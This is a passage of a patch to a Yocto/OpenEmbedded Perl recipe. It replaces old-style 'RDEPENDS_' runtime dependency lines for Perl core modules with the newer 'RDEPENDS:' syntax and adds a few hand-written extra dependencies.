-RDEPENDS_perl-module-test-tester-capture += "perl-module-test-builder"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-vars"
-RDEPENDS_perl-module-test-tester-capturerunner += "perl-module-exporter"
-RDEPENDS_perl-module-test-tester-capturerunner += "perl-module-strict"
-RDEPENDS_perl-module-test-tester-capturerunner += "perl-module-test-tester-capture"
-RDEPENDS_perl-module-test-tester-delegate += "perl-module-strict"
-RDEPENDS_perl-module-test-tester-delegate += "perl-module-vars"
-RDEPENDS_perl-module-test-tester-delegate += "perl-module-warnings"
-RDEPENDS_perl-module-test-tester += "perl-module-exporter"
-RDEPENDS_perl-module-test-tester += "perl-module-strict"
-RDEPENDS_perl-module-test-tester += "perl-module-test-builder"
-RDEPENDS_perl-module-test-tester += "perl-module-test-tester-capturerunner"
-RDEPENDS_perl-module-test-tester += "perl-module-test-tester-delegate"
-RDEPENDS_perl-module-test-tester += "perl-module-vars"
-RDEPENDS_perl-module-text-abbrev += "perl-module-exporter"
-RDEPENDS_perl-module-text-balanced += "perl-module-exporter"
-RDEPENDS_perl-module-text-balanced += "perl-module-overload"
-RDEPENDS_perl-module-text-balanced += "perl-module-selfloader"
-RDEPENDS_perl-module-text-balanced += "perl-module-strict"
-RDEPENDS_perl-module-text-balanced += "perl-module-vars"
-RDEPENDS_perl-module-text-parsewords += "perl-module-exporter"
-RDEPENDS_perl-module-text-parsewords += "perl-module-strict"
-RDEPENDS_perl-module-text-tabs += "perl-module-exporter"
-RDEPENDS_perl-module-text-tabs += "perl-module-strict"
-RDEPENDS_perl-module-text-tabs += "perl-module-vars"
-RDEPENDS_perl-module-text-wrap += "perl-module-exporter"
-RDEPENDS_perl-module-text-wrap += "perl-module-re"
-RDEPENDS_perl-module-text-wrap += "perl-module-strict"
-RDEPENDS_perl-module-text-wrap += "perl-module-text-tabs"
-RDEPENDS_perl-module-text-wrap += "perl-module-vars"
-RDEPENDS_perl-module-text-wrap += "perl-module-warnings-register"
-RDEPENDS_perl-module-thread += "perl-module-config"
-RDEPENDS_perl-module-thread += "perl-module-exporter"
-RDEPENDS_perl-module-thread += "perl-module-strict"
-RDEPENDS_perl-module-thread += "perl-module-threads"
-RDEPENDS_perl-module-thread += "perl-module-threads-shared"
-RDEPENDS_perl-module-thread += "perl-module-warnings"
-RDEPENDS_perl-module-thread-queue += "perl-module-strict"
-RDEPENDS_perl-module-thread-queue += "perl-module-threads-shared"
-RDEPENDS_perl-module-thread-queue += "perl-module-warnings"
-RDEPENDS_perl-module-thread-semaphore += "perl-module-strict"
-RDEPENDS_perl-module-thread-semaphore += "perl-module-threads-shared"
-RDEPENDS_perl-module-thread-semaphore += "perl-module-warnings"
-RDEPENDS_perl-module-threads += "perl-module-config"
-RDEPENDS_perl-module-threads += "perl-module-overload"
-RDEPENDS_perl-module-threads += "perl-module-strict"
-RDEPENDS_perl-module-threads += "perl-module-warnings"
-RDEPENDS_perl-module-threads += "perl-module-xsloader"
-RDEPENDS_perl-module-threads-shared += "perl-module-config"
-RDEPENDS_perl-module-threads-shared += "perl-module-strict"
-RDEPENDS_perl-module-threads-shared += "perl-module-warnings"
-RDEPENDS_perl-module-threads-shared += "perl-module-xsloader"
-RDEPENDS_perl-module-tie-array += "perl-module-strict"
-RDEPENDS_perl-module-tie-file += "perl-module-fcntl"
-RDEPENDS_perl-module-tie-file += "perl-module-posix"
-RDEPENDS_perl-module-tie-file += "perl-module-strict"
-RDEPENDS_perl-module-tie-file += "perl-module-warnings"
-RDEPENDS_perl-module-tie-handle += "perl-module-tie-stdhandle"
-RDEPENDS_perl-module-tie-handle += "perl-module-warnings-register"
-RDEPENDS_perl-module-tie-hash-namedcapture += "perl-module-strict"
-RDEPENDS_perl-module-tie-hash += "perl-module-warnings-register"
-RDEPENDS_perl-module-tie-memoize += "perl-module-strict"
-RDEPENDS_perl-module-tie-memoize += "perl-module-tie-hash"
-RDEPENDS_perl-module-tie-refhash += "perl-module-config"
-RDEPENDS_perl-module-tie-refhash += "perl-module-overload"
-RDEPENDS_perl-module-tie-refhash += "perl-module-strict"
-RDEPENDS_perl-module-tie-refhash += "perl-module-tie-hash"
-RDEPENDS_perl-module-tie-refhash += "perl-module-vars"
-RDEPENDS_perl-module-tie-scalar += "perl-module-warnings-register"
-RDEPENDS_perl-module-tie-stdhandle += "perl-module-strict"
-RDEPENDS_perl-module-tie-stdhandle += "perl-module-tie-handle"
-RDEPENDS_perl-module-tie-substrhash += "perl-module-integer"
-RDEPENDS_perl-module-time-gmtime += "perl-module-exporter"
-RDEPENDS_perl-module-time-gmtime += "perl-module-strict"
-RDEPENDS_perl-module-time-gmtime += "perl-module-time-tm"
-RDEPENDS_perl-module-time-hires += "perl-module-exporter"
-RDEPENDS_perl-module-time-hires += "perl-module-strict"
-RDEPENDS_perl-module-time-hires += "perl-module-xsloader"
-RDEPENDS_perl-module-time-local += "perl-module-config"
-RDEPENDS_perl-module-time-local += "perl-module-constant"
-RDEPENDS_perl-module-time-local += "perl-module-exporter"
-RDEPENDS_perl-module-time-local += "perl-module-parent"
-RDEPENDS_perl-module-time-local += "perl-module-strict"
-RDEPENDS_perl-module-time-localtime += "perl-module-exporter"
-RDEPENDS_perl-module-time-localtime += "perl-module-strict"
-RDEPENDS_perl-module-time-localtime += "perl-module-time-tm"
-RDEPENDS_perl-module-time-piece += "perl-module-constant"
-RDEPENDS_perl-module-time-piece += "perl-module-exporter"
-RDEPENDS_perl-module-time-piece += "perl-module-integer"
-RDEPENDS_perl-module-time-piece += "perl-module-overload"
-RDEPENDS_perl-module-time-piece += "perl-module-strict"
-RDEPENDS_perl-module-time-piece += "perl-module-time-local"
-RDEPENDS_perl-module-time-piece += "perl-module-time-seconds"
-RDEPENDS_perl-module-time-piece += "perl-module-xsloader"
-RDEPENDS_perl-module-time-seconds += "perl-module-constant"
-RDEPENDS_perl-module-time-seconds += "perl-module-exporter"
-RDEPENDS_perl-module-time-seconds += "perl-module-overload"
-RDEPENDS_perl-module-time-seconds += "perl-module-strict"
-RDEPENDS_perl-module-time-tm += "perl-module-class-struct"
-RDEPENDS_perl-module-time-tm += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-big5 += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-big5 += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-gb2312 += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-gb2312 += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-jisx0208 += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-jisx0208 += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-korean += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-korean += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-pinyin += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-pinyin += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-stroke += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-stroke += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-zhuyin += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-zhuyin += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-locale += "perl-module-base"
-RDEPENDS_perl-module-unicode-collate-locale += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-locale += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate += "perl-module-constant"
-RDEPENDS_perl-module-unicode-collate += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate += "perl-module-xsloader"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-exporter"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-strict"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-xsloader"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-charnames"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-exporter"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-feature"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-if"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-integer"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-re"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-strict"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-unicode-normalize"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-warnings"
-RDEPENDS_perl-module-user-grent += "perl-module-class-struct"
-RDEPENDS_perl-module-user-grent += "perl-module-exporter"
-RDEPENDS_perl-module-user-grent += "perl-module-strict"
-RDEPENDS_perl-module-user-pwent += "perl-module-class-struct"
-RDEPENDS_perl-module-user-pwent += "perl-module-config"
-RDEPENDS_perl-module-user-pwent += "perl-module-exporter"
-RDEPENDS_perl-module-user-pwent += "perl-module-strict"
-RDEPENDS_perl-module-user-pwent += "perl-module-warnings"
-RDEPENDS_perl-module-version += "perl-module-strict"
-RDEPENDS_perl-module-version += "perl-module-version-regex"
-RDEPENDS_perl-module-version += "perl-module-warnings-register"
-RDEPENDS_perl-module-version-regex += "perl-module-strict"
-RDEPENDS_perl-module-xsloader += "perl-module-dynaloader"
+
+# Some additional dependencies that the above doesn't manage to figure out
+RDEPENDS:perl-module-file-spec += "perl-module-file-spec-unix"
+RDEPENDS:perl-module-math-bigint += "perl-module-math-bigint-calc"
+RDEPENDS:perl-module-thread-queue += "perl-module-attributes"
+RDEPENDS:perl-module-overload += "perl-module-overloading"
+
+# Generated depends list beyond this line
+RDEPENDS:perl-module-anydbm-file += "perl-module-strict"
+RDEPENDS:perl-module-anydbm-file += "perl-module-warnings"
+RDEPENDS:perl-module-app-cpan += "perl-module-config"
+RDEPENDS:perl-module-app-cpan += "perl-module-constant"
+RDEPENDS:perl-module-app-cpan += "perl-module-cpan"
+RDEPENDS:perl-module-app-cpan += "perl-module-cwd"
+RDEPENDS:perl-module-app-cpan += "perl-module-data-dumper"
+RDEPENDS:perl-module-app-cpan += "perl-module-file-basename"
+RDEPENDS:perl-module-app-cpan += "perl-module-file-find"
+RDEPENDS:perl-module-app-cpan += "perl-module-getopt-std"
+RDEPENDS:perl-module-app-cpan += "perl-module-if"
+RDEPENDS:perl-module-app-cpan += "perl-module-net-ping"
+RDEPENDS:perl-module-app-cpan += "perl-module-strict"
+RDEPENDS:perl-module-app-cpan += "perl-module-user-pwent"
+RDEPENDS:perl-module-app-cpan += "perl-module-vars"
+RDEPENDS:perl-module-app-cpan += "perl-module-warnings"
+RDEPENDS:perl-module-app-prove += "perl-module-app-prove-state"
+RDEPENDS:perl-module-app-prove += "perl-module-base"
+RDEPENDS:perl-module-app-prove += "perl-module-constant"
+RDEPENDS:perl-module-app-prove += "perl-module-getopt-long"
+RDEPENDS:perl-module-app-prove += "perl-module-strict"
+RDEPENDS:perl-module-app-prove += "perl-module-tap-harness"
+RDEPENDS:perl-module-app-prove += "perl-module-tap-harness-env"
+RDEPENDS:perl-module-app-prove += "perl-module-text-parsewords"
+RDEPENDS:perl-module-app-prove += "perl-module-warnings"
+RDEPENDS:perl-module-app-prove-state += "perl-module-app-prove-state-result"
+RDEPENDS:perl-module-app-prove-state += "perl-module-base"
+RDEPENDS:perl-module-app-prove-state += "perl-module-constant"
+RDEPENDS:perl-module-app-prove-state += "perl-module-file-find"
+RDEPENDS:perl-module-app-prove-state += "perl-module-strict"
+RDEPENDS:perl-module-app-prove-state += "perl-module-tap-parser-yamlish-reader"
+RDEPENDS:perl-module-app-prove-state += "perl-module-tap-parser-yamlish-writer"
+RDEPENDS:perl-module-app-prove-state += "perl-module-warnings"
+RDEPENDS:perl-module-app-prove-state-result += "perl-module-app-prove-state-result-test"
+RDEPENDS:perl-module-app-prove-state-result += "perl-module-constant"
+RDEPENDS:perl-module-app-prove-state-result += "perl-module-strict"
+RDEPENDS:perl-module-app-prove-state-result += "perl-module-warnings"
+RDEPENDS:perl-module-app-prove-state-result-test += "perl-module-strict"
+RDEPENDS:perl-module-app-prove-state-result-test += "perl-module-warnings"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-constant"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-exporter"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-io-compress-bzip2"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-strict"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-time-local"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-warnings"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-archive-tar"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-archive-tar-constant"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-file-basename"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-io-file"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-strict"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-vars"
+RDEPENDS:perl-module-archive-tar += "perl-module-archive-tar-constant"
+RDEPENDS:perl-module-archive-tar += "perl-module-archive-tar-file"
+RDEPENDS:perl-module-archive-tar += "perl-module-config"
+RDEPENDS:perl-module-archive-tar += "perl-module-cwd"
+RDEPENDS:perl-module-archive-tar += "perl-module-exporter"
+RDEPENDS:perl-module-archive-tar += "perl-module-file-path"
+RDEPENDS:perl-module-archive-tar += "perl-module-io-file"
+RDEPENDS:perl-module-archive-tar += "perl-module-io-zlib"
+RDEPENDS:perl-module-archive-tar += "perl-module-strict"
+RDEPENDS:perl-module-archive-tar += "perl-module-vars"
+RDEPENDS:perl-module-attribute-handlers += "perl-module-strict"
+RDEPENDS:perl-module-attribute-handlers += "perl-module-warnings"
+RDEPENDS:perl-module-attributes += "perl-module-exporter"
+RDEPENDS:perl-module-attributes += "perl-module-strict"
+RDEPENDS:perl-module-attributes += "perl-module-warnings"
+RDEPENDS:perl-module-attributes += "perl-module-xsloader"
+RDEPENDS:perl-module-autodie-exception += "perl-module-constant"
+RDEPENDS:perl-module-autodie-exception += "perl-module-fatal"
+RDEPENDS:perl-module-autodie-exception += "perl-module-fcntl"
+RDEPENDS:perl-module-autodie-exception += "perl-module-overload"
+RDEPENDS:perl-module-autodie-exception += "perl-module-strict"
+RDEPENDS:perl-module-autodie-exception += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-exception-system += "perl-module-parent"
+RDEPENDS:perl-module-autodie-exception-system += "perl-module-strict"
+RDEPENDS:perl-module-autodie-exception-system += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-hints += "perl-module-b"
+RDEPENDS:perl-module-autodie-hints += "perl-module-constant"
+RDEPENDS:perl-module-autodie-hints += "perl-module-strict"
+RDEPENDS:perl-module-autodie-hints += "perl-module-warnings"
+RDEPENDS:perl-module-autodie += "perl-module-constant"
+RDEPENDS:perl-module-autodie += "perl-module-lib"
+RDEPENDS:perl-module-autodie += "perl-module-parent"
+RDEPENDS:perl-module-autodie += "perl-module-strict"
+RDEPENDS:perl-module-autodie += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-scope-guard += "perl-module-strict"
+RDEPENDS:perl-module-autodie-scope-guard += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-scope-guardstack += "perl-module-autodie-scope-guard"
+RDEPENDS:perl-module-autodie-scope-guardstack += "perl-module-strict"
+RDEPENDS:perl-module-autodie-scope-guardstack += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-skip += "perl-module-strict"
+RDEPENDS:perl-module-autodie-skip += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-util += "perl-module-autodie-scope-guardstack"
+RDEPENDS:perl-module-autodie-util += "perl-module-exporter"
+RDEPENDS:perl-module-autodie-util += "perl-module-strict"
+RDEPENDS:perl-module-autodie-util += "perl-module-warnings"
+RDEPENDS:perl-module-autoloader += "perl-module-strict"
+RDEPENDS:perl-module-autosplit += "perl-module-config"
+RDEPENDS:perl-module-autosplit += "perl-module-exporter"
+RDEPENDS:perl-module-autosplit += "perl-module-file-basename"
+RDEPENDS:perl-module-autosplit += "perl-module-file-path"
+RDEPENDS:perl-module-autosplit += "perl-module-strict"
+RDEPENDS:perl-module-base += "perl-module-strict"
+RDEPENDS:perl-module-b-concise += "perl-module-b"
+RDEPENDS:perl-module-b-concise += "perl-module-b-op-private"
+RDEPENDS:perl-module-b-concise += "perl-module-config"
+RDEPENDS:perl-module-b-concise += "perl-module-exporter"
+RDEPENDS:perl-module-b-concise += "perl-module-feature"
+RDEPENDS:perl-module-b-concise += "perl-module-strict"
+RDEPENDS:perl-module-b-concise += "perl-module-warnings"
+RDEPENDS:perl-module-benchmark += "perl-module-exporter"
+RDEPENDS:perl-module-benchmark += "perl-module-strict"
+RDEPENDS:perl-module-bigint += "perl-module-constant"
+RDEPENDS:perl-module-bigint += "perl-module-exporter"
+RDEPENDS:perl-module-bigint += "perl-module-math-bigint"
+RDEPENDS:perl-module-bigint += "perl-module-math-bigint-trace"
+RDEPENDS:perl-module-bigint += "perl-module-overload"
+RDEPENDS:perl-module-bigint += "perl-module-strict"
+RDEPENDS:perl-module-bigint += "perl-module-warnings"
+RDEPENDS:perl-module-bignum += "perl-module-bigint"
+RDEPENDS:perl-module-bignum += "perl-module-exporter"
+RDEPENDS:perl-module-bignum += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-bignum += "perl-module-math-bigfloat-trace"
+RDEPENDS:perl-module-bignum += "perl-module-math-bigint"
+RDEPENDS:perl-module-bignum += "perl-module-math-bigint-trace"
+RDEPENDS:perl-module-bignum += "perl-module-overload"
+RDEPENDS:perl-module-bignum += "perl-module-strict"
+RDEPENDS:perl-module-bignum += "perl-module-warnings"
+RDEPENDS:perl-module-bigrat += "perl-module-bigint"
+RDEPENDS:perl-module-bigrat += "perl-module-exporter"
+RDEPENDS:perl-module-bigrat += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-bigrat += "perl-module-math-bigint"
+RDEPENDS:perl-module-bigrat += "perl-module-math-bigint-trace"
+RDEPENDS:perl-module-bigrat += "perl-module-math-bigrat"
+RDEPENDS:perl-module-bigrat += "perl-module-overload"
+RDEPENDS:perl-module-bigrat += "perl-module-strict"
+RDEPENDS:perl-module-bigrat += "perl-module-warnings"
+RDEPENDS:perl-module-blib += "perl-module-cwd"
+RDEPENDS:perl-module-b += "perl-module-exporter"
+RDEPENDS:perl-module-b += "perl-module-xsloader"
+RDEPENDS:perl-module-b-showlex += "perl-module-b"
+RDEPENDS:perl-module-b-showlex += "perl-module-b-concise"
+RDEPENDS:perl-module-b-showlex += "perl-module-b-terse"
+RDEPENDS:perl-module-b-showlex += "perl-module-strict"
+RDEPENDS:perl-module-b-terse += "perl-module-b"
+RDEPENDS:perl-module-b-terse += "perl-module-b-concise"
+RDEPENDS:perl-module-b-terse += "perl-module-strict"
+RDEPENDS:perl-module-b-xref += "perl-module-b"
+RDEPENDS:perl-module-b-xref += "perl-module-config"
+RDEPENDS:perl-module-b-xref += "perl-module-strict"
+RDEPENDS:perl-module-bytes += "perl-module-bytes-heavy"
+RDEPENDS:perl-module--charnames += "perl-module-bytes"
+RDEPENDS:perl-module-charnames += "perl-module-bytes"
+RDEPENDS:perl-module-charnames += "perl-module--charnames"
+RDEPENDS:perl-module--charnames += "perl-module-re"
+RDEPENDS:perl-module-charnames += "perl-module-re"
+RDEPENDS:perl-module--charnames += "perl-module-strict"
+RDEPENDS:perl-module-charnames += "perl-module-strict"
+RDEPENDS:perl-module--charnames += "perl-module-warnings"
+RDEPENDS:perl-module-charnames += "perl-module-warnings"
+RDEPENDS:perl-module-class-struct += "perl-module-exporter"
+RDEPENDS:perl-module-class-struct += "perl-module-strict"
+RDEPENDS:perl-module-class-struct += "perl-module-warnings-register"
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-bytes "
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-constant"
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-dynaloader"
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-exporter"
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-strict "
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-warnings "
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-xsloader"
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-bytes "
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-constant"
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-dynaloader"
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-exporter"
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-strict "
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-warnings "
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-xsloader"
+RDEPENDS:perl-module-compress-zlib += "perl-module-bytes "
+RDEPENDS:perl-module-compress-zlib += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-compress-zlib += "perl-module-constant"
+RDEPENDS:perl-module-compress-zlib += "perl-module-exporter"
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-compress-gzip"
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-compress-gzip-constants"
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-handle "
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-uncompress-gunzip"
+RDEPENDS:perl-module-compress-zlib += "perl-module-strict "
+RDEPENDS:perl-module-compress-zlib += "perl-module-warnings "
+RDEPENDS:perl-module-config-extensions += "perl-module-config"
+RDEPENDS:perl-module-config-extensions += "perl-module-exporter"
+RDEPENDS:perl-module-config-extensions += "perl-module-strict"
+RDEPENDS:perl-module-config-perl-v += "perl-module-config"
+RDEPENDS:perl-module-config-perl-v += "perl-module-exporter"
+RDEPENDS:perl-module-config-perl-v += "perl-module-strict"
+RDEPENDS:perl-module-config-perl-v += "perl-module-vars"
+RDEPENDS:perl-module-config-perl-v += "perl-module-warnings"
+RDEPENDS:perl-module-constant += "perl-module-strict"
+RDEPENDS:perl-module-constant += "perl-module-warnings-register"
+RDEPENDS:perl-module-corelist += "perl-module-list-util"
+RDEPENDS:perl-module-corelist += "perl-module-corelist"
+RDEPENDS:perl-module-corelist += "perl-module-strict"
+RDEPENDS:perl-module-corelist += "perl-module-version"
+RDEPENDS:perl-module-corelist += "perl-module-warnings"
+RDEPENDS:perl-module-cpan += "perl-module-b"
+RDEPENDS:perl-module-cpan += "perl-module-config"
+RDEPENDS:perl-module-cpan += "perl-module-cwd"
+RDEPENDS:perl-module-cpan += "perl-module-data-dumper"
+RDEPENDS:perl-module-cpan += "perl-module-dirhandle"
+RDEPENDS:perl-module-cpan += "perl-module-errno"
+RDEPENDS:perl-module-cpan += "perl-module-exporter"
+RDEPENDS:perl-module-cpan += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-cpan += "perl-module-extutils-manifest"
+RDEPENDS:perl-module-cpan += "perl-module-fcntl"
+RDEPENDS:perl-module-cpan += "perl-module-file-basename"
+RDEPENDS:perl-module-cpan += "perl-module-file-copy"
+RDEPENDS:perl-module-cpan += "perl-module-file-find"
+RDEPENDS:perl-module-cpan += "perl-module-filehandle"
+RDEPENDS:perl-module-cpan += "perl-module-file-path"
+RDEPENDS:perl-module-cpan += "perl-module-json-pp"
+RDEPENDS:perl-module-cpan += "perl-module-lib"
+RDEPENDS:perl-module-cpan += "perl-module-net-ping"
+RDEPENDS:perl-module-cpan += "perl-module-overload"
+RDEPENDS:perl-module-cpan += "perl-module-posix"
+RDEPENDS:perl-module-cpan += "perl-module-safe"
+RDEPENDS:perl-module-cpan += "perl-module-strict"
+RDEPENDS:perl-module-cpan += "perl-module-sys-hostname"
+RDEPENDS:perl-module-cpan += "perl-module-term-readline"
+RDEPENDS:perl-module-cpan += "perl-module-text-parsewords"
+RDEPENDS:perl-module-cpan += "perl-module-text-wrap"
+RDEPENDS:perl-module-cpan += "perl-module-time-local"
+RDEPENDS:perl-module-cpan += "perl-module-vars"
+RDEPENDS:perl-module-cpan += "perl-module-warnings"
+RDEPENDS:perl-module-cwd += "perl-module-errno"
+RDEPENDS:perl-module-cwd += "perl-module-exporter"
+RDEPENDS:perl-module-cwd += "perl-module-strict"
+RDEPENDS:perl-module-cwd += "perl-module-xsloader"
+RDEPENDS:perl-module-data-dumper += "perl-module-config"
+RDEPENDS:perl-module-data-dumper += "perl-module-constant"
+RDEPENDS:perl-module-data-dumper += "perl-module-exporter"
+RDEPENDS:perl-module-data-dumper += "perl-module-xsloader"
+RDEPENDS:perl-module-db-file += "perl-module-dynaloader"
+RDEPENDS:perl-module-db-file += "perl-module-exporter"
+RDEPENDS:perl-module-db-file += "perl-module-fcntl"
+RDEPENDS:perl-module-db-file += "perl-module-strict "
+RDEPENDS:perl-module-db-file += "perl-module-strict"
+RDEPENDS:perl-module-db-file += "perl-module-tie-hash"
+RDEPENDS:perl-module-db-file += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter-compress += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-compress += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter-encode += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-encode += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter-int32 += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-int32 += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter-null += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-null += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter-utf8 += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-utf8 += "perl-module-warnings"
+RDEPENDS:perl-module-db += "perl-module-strict"
+RDEPENDS:perl-module-deprecate += "perl-module-strict"
+RDEPENDS:perl-module-deprecate += "perl-module-warnings"
+RDEPENDS:perl-module-devel-peek += "perl-module-exporter"
+RDEPENDS:perl-module-devel-peek += "perl-module-xsloader"
+RDEPENDS:perl-module-devel-ppport += "perl-module-file-find"
+RDEPENDS:perl-module-devel-ppport += "perl-module-getopt-long"
+RDEPENDS:perl-module-devel-ppport += "perl-module-strict"
+RDEPENDS:perl-module-devel-ppport += "perl-module-vars"
+RDEPENDS:perl-module-devel-selfstubber += "perl-module-selfloader"
+RDEPENDS:perl-module-diagnostics += "perl-module-config"
+RDEPENDS:perl-module-diagnostics += "perl-module-getopt-std"
+RDEPENDS:perl-module-diagnostics += "perl-module-strict"
+RDEPENDS:perl-module-diagnostics += "perl-module-text-tabs"
+RDEPENDS:perl-module-digest-base += "perl-module-mime-base64"
+RDEPENDS:perl-module-digest-base += "perl-module-strict"
+RDEPENDS:perl-module-digest-base += "perl-module-vars"
+RDEPENDS:perl-module-digest-file += "perl-module-digest"
+RDEPENDS:perl-module-digest-file += "perl-module-exporter"
+RDEPENDS:perl-module-digest-file += "perl-module-strict"
+RDEPENDS:perl-module-digest-file += "perl-module-vars"
+RDEPENDS:perl-module-digest-md5 += "perl-module-digest-base"
+RDEPENDS:perl-module-digest-md5 += "perl-module-exporter"
+RDEPENDS:perl-module-digest-md5 += "perl-module-strict"
+RDEPENDS:perl-module-digest-md5 += "perl-module-vars"
+RDEPENDS:perl-module-digest-md5 += "perl-module-xsloader"
+RDEPENDS:perl-module-digest += "perl-module-strict"
+RDEPENDS:perl-module-digest += "perl-module-vars"
+RDEPENDS:perl-module-digest-sha += "perl-module-digest-base"
+RDEPENDS:perl-module-digest-sha += "perl-module-dynaloader"
+RDEPENDS:perl-module-digest-sha += "perl-module-exporter"
+RDEPENDS:perl-module-digest-sha += "perl-module-fcntl"
+RDEPENDS:perl-module-digest-sha += "perl-module-integer"
+RDEPENDS:perl-module-digest-sha += "perl-module-strict"
+RDEPENDS:perl-module-digest-sha += "perl-module-vars"
+RDEPENDS:perl-module-digest-sha += "perl-module-warnings"
+RDEPENDS:perl-module-digest-sha += "perl-module-xsloader"
+RDEPENDS:perl-module-dynaloader += "perl-module-config"
+RDEPENDS:perl-module-encode-alias += "perl-module-constant"
+RDEPENDS:perl-module-encode-alias += "perl-module-encode"
+RDEPENDS:perl-module-encode-alias += "perl-module-exporter"
+RDEPENDS:perl-module-encode-alias += "perl-module-strict"
+RDEPENDS:perl-module-encode-alias += "perl-module-warnings"
+RDEPENDS:perl-module-encode-byte += "perl-module-encode"
+RDEPENDS:perl-module-encode-byte += "perl-module-strict"
+RDEPENDS:perl-module-encode-byte += "perl-module-warnings"
+RDEPENDS:perl-module-encode-byte += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-cjkconstants += "perl-module-exporter"
+RDEPENDS:perl-module-encode-cjkconstants += "perl-module-strict"
+RDEPENDS:perl-module-encode-cjkconstants += "perl-module-warnings"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-encode"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-parent"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-strict"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-utf8"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-vars"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-warnings"
+RDEPENDS:perl-module-encode-cn += "perl-module-encode"
+RDEPENDS:perl-module-encode-cn += "perl-module-encode-cn-hz"
+RDEPENDS:perl-module-encode-cn += "perl-module-strict"
+RDEPENDS:perl-module-encode-cn += "perl-module-warnings"
+RDEPENDS:perl-module-encode-cn += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-config += "perl-module-strict"
+RDEPENDS:perl-module-encode-config += "perl-module-warnings"
